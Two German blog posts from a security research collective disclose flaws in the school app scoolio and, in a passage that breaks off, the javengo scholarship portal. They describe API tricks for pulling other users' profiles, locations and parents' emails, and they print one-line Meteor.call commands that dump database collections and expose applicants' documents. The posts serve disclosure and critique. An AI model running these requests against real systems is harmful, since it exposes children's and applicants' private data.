Dieser Artikel ist der erste Teil der “Back-To-School-Serie”.

Über manche Menschen sagt man, sie hätten Leichen im Keller. Sie haben Geheimnisse, von denen niemand erfahren soll. Bei der App scoolio ist das anders: Die App schafft es gerade nicht, Geheimnisse für sich zu behalten. E-Mail-Adressen von Schüler*innen, ihr aktueller Standort, Schule, Klasse – alles abrufbar im Netz.

Wenn der Keller also so bequem zugänglich ist, machen wir uns doch auf den Weg und betrachten die sperrangelweit offenen Türen. Kommt mit auf die Reise – Stockwerk für Stockwerk in den Keller.

Erdgeschoss: Was ist Scoolio?

Scoolio ist eine seit 2016 existierende App für Schüler*innen. Ursprünglich erdacht, um den Schulalltag zu erleichtern – mit Hausaufgaben-Planer, Notenübersicht, Klassenchat und Nachhilfe-Vermittlung.

Eigentlich eine gute Idee, aber: Direkt Geld verdienen lässt sich damit nicht.

Woher kommt das Geld?

Apps zu entwickeln ist teuer. Das erwähnt auch der Gründer von scoolio, Danny Roller, regelmäßig¹. Und mit Apps für Schüler*innen Geld zu verdienen, das ist auf den ersten Blick ganz schön kompliziert. Welche Schülerin würde schließlich ihr Taschengeld für eine Schulapp ausgeben wollen?

Es braucht also eine andere Idee. Weit verbreitet ist es, die eigene App durch Werbung zu finanzieren. Eine junge Zielgruppe ist dabei aus Sicht der Werbeindustrie besonders wertvoll: Sie ist einerseits empfänglicher für Werbung und andererseits im geschützten Rahmen der Schule schwer erreichbar.

Welcher Startup-Glücksritter also diese beiden Herausforderungen meistern kann – eine junge Zielgruppe monetarisieren und sie gezielt erreichen – der wähnt eine großartige Opportunity für das eigene Business.

1. Kellergeschoss: Tracken wie die Großen

Scoolio sieht sich selbst mehr als eine Gen-Z Marketingplattform – mit dem Ziel, möglichst viele Daten über Schüler*innen zu erfassen, sie möglichst lange auf der scoolio-Plattform verweilen zu lassen und ihnen währenddessen möglichst lukrative – weil zielgruppengerechte – Werbung auszuspielen. ²

Scoolio erfasst also jeden Datenpunkt über ein*e Schüler*in, den sie bekommen können. Durch Persönlichkeitstests in Form von Jobquizzes und anderen lustigen Mini-Games werden gezielt immer mehr Informationen über die Schüler*innen gesammelt.

Diese Daten werden aber nicht nur zum gezielten Ausspielen von Werbung verwendet. Die Ergebnisse der Persönlichkeitstests werden auch direkt an Arbeitgeber*innen zur sogenannten Leadgenerierung³^,⁴ verkauft.

Wen das nun an Facebook oder gar Cambridge Analytica erinnert: Nah dran. Nur eben technisch noch unsicherer umgesetzt – und sich dabei auch noch an eine junge und normalerweise besonders geschützte Zielgruppe richtet.

Bleibt bloß hier! Wie Schüler*innen auf die Plattform gezwungen werden.

Es ist aber nicht nur teuer, Apps zu entwickeln, sondern sie müssen auch vermarktet werden: Die Werbung für die App selbst kann schnell einen zweistelligen Euro-Betrag pro Nutzer*in kosten.

Aber auch da hat sich scoolio einen aus ihrer Perspektive cleveren “Growth-Hack” ausgedacht. Denn statt Schüler*innen direkt zu erreichen, wollten sie Schulen davon überzeugen, scoolio als Software für den Unterricht einzusetzen.

Sie entwickelten also eine “Cloud für Schulen und Lehrer*innen”⁵ , um zum Beispiel Dateien für den Unterricht auszutauschen oder Hausaufgaben digital einzusammeln. Diese bieten sie Schulen oder auch einzelnen Lehrer*innen kostenlos⁶ an.

Dadurch, dass die App dann im Unterricht zum Standard wird, haben Schüler*innen de facto keine Wahl mehr: Sie müssen die scoolio-App verwenden. Und scoolio kann die wehrlosen Schüler*innen als wertvolle, häufig wiederkehrende User an ihre Werbekunden vermarkten.

Das heißt im Umkehrschluss: Wenn die Schule ihre Schüler*innen dazu zwingt, die App zu nutzen – dann zwingt sie ihre Schüler*innen gleichzeitig auch, für die Werbung über die App erreichbar zu sein. Das klingt nicht DSGVO-konform… 🤔

Gleichzeitig wird durch dieses Vorgehen auch mit dem seit vielen Jahren geltenden Grundsatz⁷ von “Keine Produktwerbung an Schulen” gebrochen. In extremen Ausnahmesituationen, wie beispielsweise zu Beginn der Coronapandemie, kann man durchaus diskutieren, ob es nicht wichtiger ist, möglichst schnell überhaupt ein laufendes System zu haben. Bei einem Unternehmen, das ein Produkt über mehrere Jahre entwickelt und vermarktet, wirkt dieses Argument aber geradezu lächerlich.

Geld verdienen durch Werbung – das dürfte auf lange Sicht deutlich lukrativer sein als der klassische Schulsoftwaremarkt, wenn man sich anschaut, was Unternehmen bereit sind zu zahlen, damit ihre Werbung ausgespielt wird.

Jede Minute, die ein* zum User gewordene*r Schüler*in in der App verbringt, ist für scoolio sehr wertvoll. Immerhin wird mit jedem Klick mehr Werbung ausgespielt. Deshalb hat sich scoolio dazu entschlossen, dem klassischen Plattformökonomieansatz zu folgen. Also immer mehr Features anzubieten, die zu einer längeren Nutzung der App führen.

Es scheint so, als hätten sie sich bei der Entwicklung ihrer Plattformstrategie einfach die gängigen sozialen Netzwerke angesehen und die beliebtesten Features daraus “kindgerecht” nachgebaut.

Relativ früh hat die App ein “Radar-Match-Feature” eingebaut. Damit können sich Schüler*innen in der Nähe, also in der selben Klasse oder Schule finden, liken und über einen Chat anschreiben. Ein Tinder für Kinder.

Neben den direkten Chats zwischen Schüler*innen gibt es auch Klassen- und Schulchats und seit einigen Monaten themenorientierte Chatgruppen, scoolio nennt sie Räume. Diese können von Schüler*innen selbst angelegt werden.

2. Kellergeschoss – mangelhafte Moderation

Schüler*innen von der 1. Klasse bis zum Schulabschluss auf einer in keinster Weise zugangsbeschränkten Plattform chatten zu lassen – was soll da schon schiefgehen?

Eine ganze Menge. Und dabei müssen wir nicht einmal anfangen, über die viel diskutierten Probleme wie Cyber-Grooming zu sprechen.

Scoolio versagt nämlich schon bei den absoluten Grundlagen der Datenverarbeitung nach DSGVO. Anders lässt sich jedenfalls nicht erklären, dass es massenhaft Räume gibt, die sehr spezifisch benannt sind. So spezifisch, dass schon die Mitgliedschaft in diesem Raum ein besonders schützenwertes Datum nach Art. 9 DSGVO ist.

Hier eine kleine Sammlung von Beispielen – für viele Kategorien von besonders schützenswerten Daten:

Daten, aus denen die politische Meinung hevorgeht:
- “Wir gegen Rassismus”
Daten, aus denen die religiöse oder weltanschauliche Überzeugung hervorgeht:
- " Christen ✝ 😜 😇"
- “Muslime”
Gesundheitsdaten
- “abnehmen”
Daten zum Sexualleben oder der sexuellen Orientierung:
- “LGBTQ 🏳️‍🌈”
- “LGBTQ+”
- “Kennenlernen für bi sexuelle 👁️👄👁️❤️🏳️‍🌈”

Auch in den Gruppen scheint scoolio nur sehr eingeschränkt zu moderieren. Das ist vor allem ein Problem, weil die Chaträume einfach zugänglich sind. Unter den größten öffentlichen Räumen finden sich viele Räume wie “Verliebt euch 🥳”, “Grube für Singles 😂👑”, “Suche Freund zwischen 12 und 13” und “nur Mädchen bis 10”. Dies ist insbesondere kritisch, da scoolio keinerlei Prüfung der eingegebenen Daten der User durchführt. In einem Test haben wir einen Account angelegt – mit dem angeblichen Alter von 33 Jahren. Auch damit konnten wir allen diesen Gruppen beitreten, ohne von scoolio-Moderator*innen entfernt zu werden.

3. Kellergeschoss – mangelnde IT-Sicherheit

Eine App also, die wir schon wegen ihrer regulären Funktionen für bedenklich halten. Ihr würdet diesen Artikel aber nicht hier lesen, wenn sie nur konzeptionell und nicht auch technisch ein Desaster wäre.

Wir haben uns die App also auch auf unsere Art angeschaut. Wer schon Texte von uns gelesen hat, kennt das: App installieren, Person-in-the-Middle-Proxy einschalten, ein bisschen in der App rumklicken und die Kommunikation der App mit ihren Servern beobachten.

Ein Endpunkt der Schnittstelle (Application Programming Interface, API) ist uns dabei sofort ins Auge gefallen: /api/v3/Profile/{ProfileID}. Damit ist das Profil eine*r Schüler*in abrufbar. Wir versuchen es zuerst mit unserem eigenen Profil. Es hat die ID 26dad47a-8354-45f6-960e-ef05b58a6536.

Unser Profil sah in etwa so aus:

{
    "profileId": "26dad47a-8354-45f6-960e-ef05b58a6536",
    "schoolId": "85ce1b51-7da3-4bff-bb29-87d0553ae719",
    "clLvl": 9,
    "clExt": "B",
    "isAmbassador": false,
    "nickName": "MariaMaier2005",
    "slogan": "🏳️‍🌈🏳️‍🌈🏳️‍🌈",
    "emojiCount": "2",
    "userTilesIds": [],
    "profileImageId": "154bf0cd-2c53-4a6e-8590-c5879086373c",
    "explorerImageId": "f49b8c4f-76a8-40bd-8716-458fd4cf4080",
    "dayOfBirth": "2005-10-01T00:00:00Z",
    "emailConfirmed": true,
    "blocked": false
}

Wenn wir spannnende API-Endpunkte finden, die über eine Versionskomponente verfügen (hier /v3/), versuchen wir gerne mal, diese zu verändern. Also wurde in unserem Fall aus /api/v3/Profile/{ProfileID} zu /api/v2/Profile/{ProfileID}.

Und tada: Noch viel mehr Daten!

  {
    "profileId":"26dad47a-8354-45f6-960e-ef05b58a6536",
    "schoolId":"85ce1b51-7da3-4bff-bb29-87d0553ae719",
    "clLvl":9,
    "clExt":"B",
    "email":"mariamaiercool2005@gmail.com",
    "parentsemail":"dannyroller@gmail.com",
    "parentsAcceptedConditionsDate":"2021-03-12T13:23:33",
    "acceptedConditionsDate":"2021-03-12T11:13:12",
    "slogan": "🏳️‍🌈🏳️‍🌈🏳️‍🌈",
    "imgIds":[
      "006642e8-4ec2-4b8d-9077-4d6f7a5a7c2d"
    ],
    "position":{
      "lon":13.7491207,
      "lat":51.0716188,
      "updatedAt":"2021-10-22T05:09:31Z"
    },
    "nickName":"MariaMaier2005",
    "dayOfBirth":"2005-10-01T00:00:00Z",
    "isAmbassador":false,
    "emojiCount":"2",
    "userTilesIds":[

    ],
    "profileImageId":"154bf0cd-2c53-4a6e-8590-c5879086373c",
    "explorerImageId":"f49b8c4f-76a8-40bd-8716-458fd4cf4080",
    "emailConfirmed":true,
    "blocked":false
  }

Aber unsere eigenen Daten sind langweilig – die kennen wir ja schon. Also haben wir auch probiert, eine fremde Profil-ID einzugeben. Und zu unserer geringen Verwunderung, aber großen Gernervtheit, konnten wir natürlich auf diese detaillierten Daten der fremden ID zugreifen.

So konnten wir also recht umfangreiche Datensätze über einzelne angemeldete Nutzer*innen sehen, und zwar:

das exakte Geburtsdatum
die E-Mail-Adresse des*der Nutzer*in
bei jüngeren Nutzer*innen die E-Mail-Adresse der Eltern und
bei etwa einem Drittel der Profile den exakten GPS-Standort, an dem die App das letzte Mal geöffnet wurde.
Name der Schule und der Klasse
Interessen

Ich weiß, wo deine Eltern wohnen

Wo einzelne, umfangreiche User-Datensätze abrufbar ist, sind es erfahrungsgemäß noch viel mehr. Allzu einfach war das bei scoolio immerhin nicht: Die App benutzt sogenannte UUIDs – also einmalige, zufällig generierte Zeichenketten, die zur Identifizierung eines Eintrags in der Datenbank dienen.

Diese sehen dann zum Beispiel so aus:

154bf0cd-2c53-4a6e-8590-c5879086373c
006642e8-4ec2-4b8d-9077-4d6f7a5a7c2d
f49b8c4f-76a8-40bd-8716-458fd4cf4080

Da jede dieser Zeichenketten zufällig generiert ist, können wir nicht einfach hochzählen. Auch raten ist eher schwierig, weil die Zeichenketten recht lang sind.

Aber kommen wir wirklich nicht an andere UUIDs? Wir schauen uns ein paar andere Endpunkte an, zum Beispiel die “Tinder für Kinder”-Funktion. Diese verwendet den /api/v3/Explorer/-Endpunkt, der einfach eine Liste von 500 verkürzten Userprofilen aus derselben Schule und Region wie der User selbst zurückliefert. Dort stehen zwar nicht alle Informationen über die Menschen aus der Umgebung drin, allerdings die Profil-ID, die wir benötigen, um komplette Profile abzurufen.

{
  "classProfiles": [],
  "levelProfiles": [{
    "profileId": "29c49d43-ab54-406b-8554-259dac5377be",
    "schoolId": "cb2cb79f-558c-4683-8a25-9542dd012f69",
    "schoolName": "Anarchistisches Bildungs Centrum Neuland",
    "clLvl": 12,
    "clExt": "2",
    "nickName": "Max",
    "primaryImgId": "19d403fd-1ad1-4d44-8b2a-fed4624a2ebb",
    "isAmbassador": false
  }],
  "schoolProfiles": [{
    "profileId": "ceb233f4-688f-456e-ab5c-50edd42b0438",
    "schoolId": "cb2cb79f-558c-4683-8a25-9542dd012f69",
    "schoolName": "Anarchistisches Bildungs Centrum Neuland",
    "clLvl": 6,
    "clExt": "H",
    "nickName": "Maria",
    "primaryImgId": "a5a68212-c64f-476e-9780-d3990c33e06f",
    "isAmbassador": false
  }

Jetzt können wir also sehr viele Profile abrufen – von Menschen, die laut App auf die gleiche Schule gehen wie wir.

Wir hüpfen durch die Schulen

Wenn wir jetzt in der App angeben, dass wir an alle Schulen gehen, dann könnten wir alle Profil-IDs der einzelnen User finden und damit auch alle Profile abrufen.

Über den API-Endpunkt für Profileinstellungen ist es möglich, beliebig oft die Schule zu wechseln – ohne jede Limitierung oder Verifikation. Also könnten wir ein kleines Script schreiben, dass die Schule automatisch wechselt, über die “Tinder für Kinder”-Funktion Profile findet und diese dann über den Profil-Endpunkt abruft.

Und schon flössen die Daten. 🌊

Persönlichkeits-Profil: Widder mit Aszendent Jupiter

Aber da waren ja noch mehr Daten. Wie oben beschrieben, kann jede*r Nutzer*in an einer Reihe von Quizzes, Persönlichkeitstest, Berufseignungstests, … teilnehmen und damit Werbeanzeigen bekommen, die besser zu den eigenen Interessen passen.

Auch diese Funktion haben wir uns natürlich genauer angeschaut und siehe da: Man kann einfach die Ergebnisse aller anderen Nutzer*innen abrufen. Über den Endpunkt /api/v2.0/players/{Profile-ID}/games können wir die Quiz-Ergebnisse aller Teilnehmer*innen bekommen.

Dass wir mit dieser Methode auch herausfinden können, in welchen Gruppen ein User ist, wird nun niemanden mehr überraschen.

Wir haben jetzt also sehr akkurate Personenprofile. Vom Namen über E-Mail-Adresse, exakte Position des Telefons bis hin zu Persönlichkeitsprofilen und anderen sensiblen Persönlichkeitsmerkmalen wie Herkunft, Religion oder Sexualität.

Viel Spaß am Nordpol

Wir haben noch ein anderes Problem gefunden, wenn auch nur ein kleines im Vergleich zum gigantischen Datenabfluss: Wir konnten nicht nur die Daten aller User abrufen, sondern teilweise auch aktualisieren.

Den Standort eines Users hätten wir beispielsweise nach Herzenslust verändern können, indem wir eine beliebige Profil-ID an den Endpunkt /api/v3/Profile/location schicken. Nötig ist dafür nur die Profil-ID – und eine Anfrage wie diese hätte den Standort geändert:

{
    "lat": 51.0716188,
    "lon": 13.7491207,
    "profileId": "8aad17c8-53a9-4bf1-8568-7a46173a8c4c"
}

Wie viele Schüler*innen betroffen sind, können wir nicht genau sagen. Denn scoolio bläht seine Nutzer*innenzahlen künstlich auf, indem sie ungefragt Accounts anlegen: Sobald man die App herunterlädt und einmal öffnet, wird ein leeres Profil mit einer UUID generiert – unabhängig davon, ob tatsächlich ein User-Account anlegen möchte.

Scoolio selbst gibt eine Nutzer*innenanzahl von 1,8 Millionen an. Wir gehen davon aus, dass es nur einige 100.000 sind.

4. Kellergeschoss – Und das alles mit staatlichem Geld

Wir haben hier also eine App mit hunderttausenden Nutzer*innen-Datensätzen. Diese Datensätze waren in den vergangenen fünf Jahren für alle Menschen mit Grundkenntnissen in Web-Entwicklung oder IT-Sicherheit zugänglich.

Erinnern wir uns noch einmal an die Aussage des CEO von scoolio: “Apps entwickeln ist teuer”. Dass die Werbe-Einnahmen in der Anfangszeit ausreichen, ist unwahrscheinlich. Wo kam also das Geld dafür her?

Scoolio sammelte in den letzten fünf Jahren mehr als zwei Millionen Euro von Investoren ein⁸. Und die haben fast alle eine Gemeinsamkeit: Sie sind staatlich. Dazu gehören:

SIB Innovations- und Beteiligungsgesellschaft mbH
Technologiegründerfonds Sachsen
Kreissparkasse Bautzen

Vorzeige-Staatup

Normalerweise führen Investoren eine sogenannte due dilligence durch, bevor sie in ein Startup investieren. Dabei wird eine Firma vom Finanzplan bis zur IT-Sicherheit sehr genau geprüft. Oder eben auch nicht. Jedenfalls wirkt es nicht so, als hätte bei scoolio jemals ein Security Audit der Anwendung stattgefunden. Falls doch, wurden vermutlich alle gefundenen Probleme daraus ignoriert.

Der Staat hat also Millionen in eine Firma gesteckt, damit diese sich Tools bauen kann, um Schüler*innen zu ihrem Produkt zu machen. Zum Vergleich: Für zwei Millionen Euro hätte man auch fünf Entwickler*innen im höheren Dienst fünf Jahre lang beschäftigen können. Der Schuldigitalisierung hätte das gut getan.

“Aber wir sind doch ein Startup”

Scoolio gibt es jetzt seit über fünf Jahren. Als wir den Geschäftsführer der Sicherheitslücke wegen vor einigen Wochen angerufen haben, sagte er, dass scoolio als Startup nicht die Möglichkeiten hätte, sichere Software zu bauen. Man solle aber jungen, doitschen Startups eine Chance geben, sich gegen große Konzerne zu behaupten. Denn diese seien noch unsicherer.

Das ist eine Argumentation, die uns häufiger begegnet. Sie entstammt in der Regel dem “Digitalen Souveränitätsdenken” im territorialen Sinne. Dabei werden allerdings Argumente des Datenschutzes und der Datensicherheit wild durcheinander geworfen. Außerdem ist es ehrlich gesagt alles andere als souverän, datenhungrige Werbekonzerne aus den USA zu klonen.

Datenschutz ist wichtig. Die DSGVO ist weitestgehend großartig. All das ist aber noch kein Grund, die Thematik der Datensicherheit, also der technischen Absicherung der Daten, zu vernachlässigen. Die beste Rechtsgrundlage bringt schließlich nichts, wenn man sich nicht an sie hält.

Oder anders gesagt: Was hilft es eine*r Schüler*in, wenn ihre Daten zwar vordergründig auf datenschutzkonformen deutschen Servern gehostet werden, aber dabei durch schlechte technische Absicherung offen im Internet stehen? Richtig: Gar nichts. Oder sogar ein falsches Gefühl von Sicherheit – das mit jedem aufgedeckten Datenabfluss grundlegend erschüttert wird.

Statt die gesellschaftliche Debatte der digitalen Souveränität immer mehr in einen Digital-Nationalismus abgleiten zu lassen und deshalb in Unternehmen wie scoolio zu investieren, sollten wir nachhaltigere Lösungen bevorzugen.

So müsste man zum Beispiel dringend viel mehr Open-Source-Lösungen fördern. Die werden in der Regel von internationalen Teams entwickelt. Gleichzeitig müsste man konstant am Wissensaufbau in den Schulen selbst zur Weiterentwicklung und zum Betrieb solcher Lösungen arbeiten.⁹

Fazit

So, Schluss jetzt – wir sind ganz unten angekommen und unserem Kanarienvogel wird schon ganz schwindelig. Bevor wir wieder an die frische Luft steigen, wollen wir noch ein Fazit ziehen. In kurz: WTF??

In lang: Das kann doch alles nicht wahr sein! Wenn das Produkt marktreif genug ist, um Kund*innendaten zu speichern, muss es auch reif genug sein, diese für sich zu behalten. Besonders, wenn es um eine geschützte Zielgruppe wie z.B. Kinder und Jugendliche geht. Ganz besonders, wenn es um massiv schützenswerte Daten nach Artikel 9 DSGVO geht. Egal ob Startup oder Konzern. Egal ob nach einem Monat, fünf oder zehn Jahren.

Der Staat sollte – wenn er denn Wirtschaftsförderung in dieser Form weiterhin für ein sinnvolles Modell hält – wenigstens prüfen, inwieweit sich Unternehmen an geltende Richtlinien (beispielsweise werbefreie Schule⁷) halten. Außerdem würden wir bei der Verwendung von Steuergeld für Investitionen eine ordentliche due dilligence erwarten.

Und wir reden bei scoolio eben nicht nur über kaputte IT-Sicherheit, sondern über ein von vornherein und offensichtlich völlig kaputtes Konzept und Geschäftsmodell: Schüler*innen sind von ihrer Schule und Lehrer*innen extrem abhängig. Gleichzeitig wecken sie große Begehrlichkeiten bei Marketing-Unternehmen. Es darf nie dazu kommen, dass Schüler*innen im Schulkontext verpflichtet werden, Werbung zu konsumieren!

Genauso wenig darf ein Modell gefördert werden, in dem beliebige Erwachsene Erstklässler*innen anschreiben oder Räumen wie “Kennenlernen für bi sexuelle 👁️👄👁️❤️🏳️‍🌈”, “Gruppe für Singles 13-16 💘” beitreten können.

Schule ist eine Basisinfrastruktur unserer Gesellschaft. Digitale Schule auch. Wir sollten als Gesellschaft aufhören, den digitalen Teil als ein Extra zu sehen, das man ruhig in privatwirtschaftliche Hände abgeben kann!

Timeline

1. September 2021 - Auffinden der Lücke
1. September 2021 - Abstimmung mit dem zuständigen DSB zur Beweissicherung und Dokumentation der Lücken
1. September 2021 - Versenden des Reports, Einigung mit dem Softwarehersteller auf eine Disclosure-Phase von 30 Tagen
1. September 2021 - 21. Oktober 2021 - fortlaufende Updates des Herstellers zum Stand der Behebung der Probleme
1. Oktober 2021 - Ausspielen des finalen Updates
1. Oktober 2021 - Public Disclosure

Epilog

Liebe aufmerksame Twitter-User, LKA-Berlin, mit der gerade noch angebrachten Höflichkeit wollen wir auf Folgendes hinweisen: Im Rahmen dieses Artikels haben wir keine personenbezogenen Daten veröffentlicht. Alle dargestellten Datensätze sind fiktional. Ähnlichkeiten zu real existierenden Unternehmen oder Personen sind rein zufällig und nicht beabsichtigt.

Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: https://zerforschung.org/unterstuetzen/

Deine ganze Stipendiumsbewerbung - in einem Tweet zerlegt

Fri, 03 Sep 2021 05:50:00 +0200

Ein Studium kostet viel Geld – zu viel für einige Menschen. Deshalb gibt es Stipendien als Unterstützung. Eigentlich eine gute Sache, jedenfalls so lange bei der Bewerbung alles gut läuft. Das mussten wir erfahren, als Teile unseres zerforschungs-Kollektivs sich für ein Stipendium bewerben wollten - und leider auch gleich wieder über einen ganzen Batzen persönlicher Dokumente von anderen Bewerber*innen gestolpert sind.

Aber von vorn: …

Es war einmal ein kleiner Teil von zerforschung, auch ein kleines zerforschi genannt. Eines Tages überlegte das kleine zerforschi, ob es durch ein Stipendium bei seinem Studium unterstützt werden könnte.

Also machte es sich auf die Suche nach geeigneten Institutionen, die Stipendien vergeben, und wurde schließlich fündig. Und oh Wunder: Bewerben konnte es sich sogar vollständig online! Das kleine zerforschi freute sich sehr, dass die sogenannte Digitalisierung Früchte trägt und es im Jahr 2021 bereits diese Annehmlichkeiten genießen konnte.

Dann stieß das zerforschi allerdings auf die ersten Hindernisse: Die Infos zur Bewerbung waren nicht offen zugänglich, man musste sich dafür erst registrieren, was es natürlich sofort tat. Doch große Enttäuschung nach der Registrierung: Mehr Informationen gab es nicht wirklich.

Kein zerforschi forscht alleine

An dieser Stelle sind wir dem kleinen zerforschi zu Hilfe geeilt und haben die Recherche aufgenommen.

Die erste Frage, die sich uns stellte: Wer baut so ein Bewerbungs-Portal? Entwickelt wird das Portal von einer Firma namens “javengo”, die – wie es sich für ein extrem hippes Start-Up gehört – in einem WeWork sitzt. Javengo hat schon “Online Genussrechte Service"s und Gutschein-Management-Tools entwickelt. Und nun eben Bewerbungs-Software.

Diese Software bauen sie aber nicht nur für eine Stiftung, sondern verkaufen sie als SaaS-Lösung gleich an eine ganze Reihe Institutionen: Stiftung der deutschen Wirtschaft, Rosa-Luxemburg-Stiftung, Children for a better World e.V. und Avicenna-Studienwerk. Die folgenden Beschreibungen treffen also nicht nur auf eines dieser Bewerbungsportale zu, sondern gleich alle! 😱

Und die zweite Frage war: Wie ist die Seite gebaut? Wagen wir doch einen Blick in die Entwicklungs-Tools unseres Browsers.

Wir schauen uns ein wenig um und stellen fest: Das Bewerbungsportal ist mit dem Meteor-Framework gebaut, ein JavaScript-Framework zur schnellen Webentwicklung.

☄️ Meteor?? Wir sind doch keine Dinos 🦖

Meteor verspricht, die Entwicklung von Webapps zu beschleunigen, indem es auf dem Server und im Browser die gleiche Codebase laufen lässt. Um zwischen Webbrowser und Server zu kommunizieren, werden Funktionen definiert, die der Client auf dem Server aufrufen kann. Meteor nennt diese explizit “Methods” (das große M ist wichtig), um sie von Funktionen abzugrenzen, die nur auf dem Client oder nur auf dem Server laufen würden.

Möchte der Browser auf dem Server die Methode MethodyMcMethodenface¹ aufrufen und den Wert 1000 übergeben, würde folgender kurze Code reichen:

Meteor.call("MethodyMcMethodenface", 1000);

Das Konzept ist damit klar, für die Entwickler*innen ist es sicher praktisch - aber welche Methoden werden in diesem Bewerbungsportal überhaupt aufgerufen?

Vertrackte E-Mail-Verifikation 📧

Die erste ist setEmailVerifiedByToken, die zur Bestätigung der E-Mail-Adresse genutzt wird.

Denn wie in den meisten Web-Portalen üblich, muss man bei der Registrierung eine E-Mail-Adresse angeben. Und wie ebensfalls üblich, wird dann an diese E-Mail-Adresse ein Link gesendet, mit dem sich die Adresse bestätigen lässt.

Die in der E-Mail verlinkte Seite ruft dann setEmailVerifiedByToken mit einem speziellen Zugangscode (Token) auf, der in den Link einkodiert ist. Das heißt also, dass in der URL der Zugangscode steht und weil das ja ausschließlich über die E-Mail bekannt ist, kann man dadurch die E-Mail-Adresse verifizieren: Denn nur, wer die E-Mail bekommen hat, kennt die URL mit dem richtigen Token.

Damit dieser Verifikationsprozess auch funktioniert, darf dieser Link nicht erratbar oder über andere Wege als diese E-Mail zugänglich werden.

Doch betrachten wir den Netzwerkverkehr während des Registrierungsprozesses in den Entwicklungstools, fällt uns eine Antwort des Servers auf: Nachdem wir unseren Account registriert haben, sendet uns der Server das users-Objekt zu, also alle Informationen die der Server über unseren Account hat.

{
    "_id": "████████████████",
    "createdAt": {
        "$date": 1630055000000
    },
    "services": {
        "password": {
            "bcrypt": "$2a$10$██████████████████████.██████████████████████████████"
        },
        "email": {
            "verificationTokens": [
                {
                    "token": "████████████████████████████████████████████████",
                    "address": "text@example.com",
                    "when": {
                        "$date": 1630055000000
                    }
                }
            ]
        },
        "resume": {
            "loginTokens": [
                {
                    "when": {
                        "$date": 1630055000000
                    },
                    "hashedToken": "████████████████████████████████████████████████"
                },
                "..."
            ]
        }
    },
    "emails": [
        {
            "address": "test@example.com",
            "verified": false
        }
    ],
    "profile": {
        "avatar": "/images/avatar.jpg",
        "lastLogin": "2021-08-██T██:██:██+02:00"
    },
    "username": "test@example.com",
    "_searchable": {
        "fullName": "test@example.com"
    }
}

Und darin steht, neben unserer E-Mail-Adresse und unserem (gehashten) Passwort, auch der Zugangscode für die E-Mail-Verifikation 🤦

Aus diesem können wir den Bestätigungs-Link, der in der E-Mail steht, rekonstruieren und so den Account aktivieren.

Das bedeutet nun aber auch: Wir können Accounts für beliebige E-Mail-Adressen anlegen – und ohne Zugriff auf diese sogar bestätigen.

Die Ausgabe des E-Mail-Verifikationscodes lässt sich mit einem kleinen Stück JavaScript-Code automatisieren, das sogar kürzer als ein Tweet ist:

Meteor.call("setEmailVerifiedByToken", Meteor.user().services.email.verificationTokens[0].token, console.log)

Gib mir deine Sammlung!

Dabei ist uns aber noch mehr aufgefallen: eine weitere Meteor-Methode namens pagedQuery. Mit dieser kann man direkte Anfragen an die serverseitig angeschlossene Datenbank (in diesem Fall eine MongoDB) stellen.

In dieser Datenbank stehen alle im Portal gespeicherten Daten, der Zugriff darauf muss also streng geschützt werden. Meteor empfiehlt, hier spezifische Methoden zu schreiben, welche die Zugangsberechtigungen prüfen und nur die wenigen, wirklich zum Abruf bestimmten Informationen bereitstellen. Insbesondere wird darauf hingewiesen², dass die Ein- und Ausgaben der Methoden gut kontrolliert werden müssen.

Doch wurde dieser wichtige Security-Hinweis von den Programmier*innen beachtet?

Nein, leider nicht 😞: pagedQuery tut nichts davon. Die normale Website fragt stets nur Daten an, auf die der aktuelle Account Zugriff haben darf. Lässt man diese Filter jedoch weg, so erhält man keine Fehlermeldung, sondern einfach alle Dokumente in der jeweiligen Collection³.

Kennt man den Namen einer Collection, passt auch hier der Code, um diese Lücke auszunutzen wieder in einen Tweet:

Meteor.call("pagedQuery", "COLLECTION_NAME", 0, 100, {}, (function(_, n) { console.log(n.data); }))

Und spannende Collections gibt es genug:

in Meteor.users werden die Accounts gespeichert, inklusive E-Mail-Adresse und Passwort-Hash
in PageObjects werden die Bewerbungen, Anträge etc. gespeichert. Inklusive aller dort gemachten Angaben, wie
- Art des Stipendiums
- Universität, Studiengang
- Namen
- Telefonnummern
- Adressen (Sowohl E-Mail als auch Post 🐌)
- Bankdaten (IBAN, auf die das Stipendium überwiesen werden soll)
- Informationen über den Studien-/Promotionsverlauf
- Informationen über Jahresgespräche
- sämtliche weiteren im Rahmen des Bewerbungs- und Förderungsprozesses gemachten Angaben
in S3Documents werden Metadaten und URLs zu den im Portal hochgeladenen Dokumenten (PDFs, Bilder) gespeichert

Wir 🤝 Amazon-Server

Gerade diese letzte Collection ist besonders interessant. Das System von Javengo bietet “sichere[sic!] Dokument-Uploads”⁴. Über diese Funktion können alle Dokumente zu einem Antrag digital hochgeladen werden. “Ersparen Sie sich und Ihren Bewerbern/Antragsstellern die Erstellung von Unterlagen in Papierform”⁵, wirbt das Unternehmen auf seiner Website.

Die hochgeladenen Dokumente werden bei Amazon S3 gespeichert. Doch um sie abzurufen, gibt es einen eigenen Endpoint auf dem Javengo-Server: /documents/{ID}?hashedToken={TOKEN}.

Man benötigt also die ID des Dokuments und einen Zugangscode (TOKEN) namens hashedToken. Die ID steht in der Collection S3Documents und den hashedToken bekommen wir nach dem Login – er ist also account-spezifisch vergeben. Somit weiß der Server, welcher Account gerade die Daten abruft und sollte den Zugriff nur bestimmten Personen erlauben.

Doch bauen wir uns wieder einen tweetkompatiblen One-Liner, um das zu prüfen:

Meteor.call("pagedQuery", "S3Documents", 0, 10, {}, {"createdAt":-1}, (function(_, n) { console.log(n.data.map((d) => {return location.protocol + "//" + location.host + api.files.buildAuthURL(d)})); }))

Dieser erzeugt eine Liste von URLs nach dem gerade beschriebenen Schema. Klicken wir nun auf eine der URLs, sehen wir jedoch keine Fehlermeldung, sondern ein fremdes Schulzeugnis.

Die Daten quillen aus allen Öffnungen

In den Daten aus der Collection steht nicht nur eine ID, mit der wir das Dokument über das Portal abrufen können. Bei den meisten Dokumenten ist zusätzlich ein Direkt-Link zum Amazon S3-Speicher hinterlegt. Üblicherweise ist dieser Direktzugriff nur dem Portal-Server erlaubt, alle anderen müssen spezielle URLs benutzen, die nur vorrübergehend gültig sind. Doch bei den Daten der Stiftung der deutschen Wirtschaft wurde diese grundlegende Sicherungsmaßnahme nicht getroffen. Der in der Collection stehende Link lieferte in vielen Fällen die Dateien ohne Zugriffskontrolle an uns aus.

Das heißt die Dateien waren über zwei verschiedene Wege abrufbar.

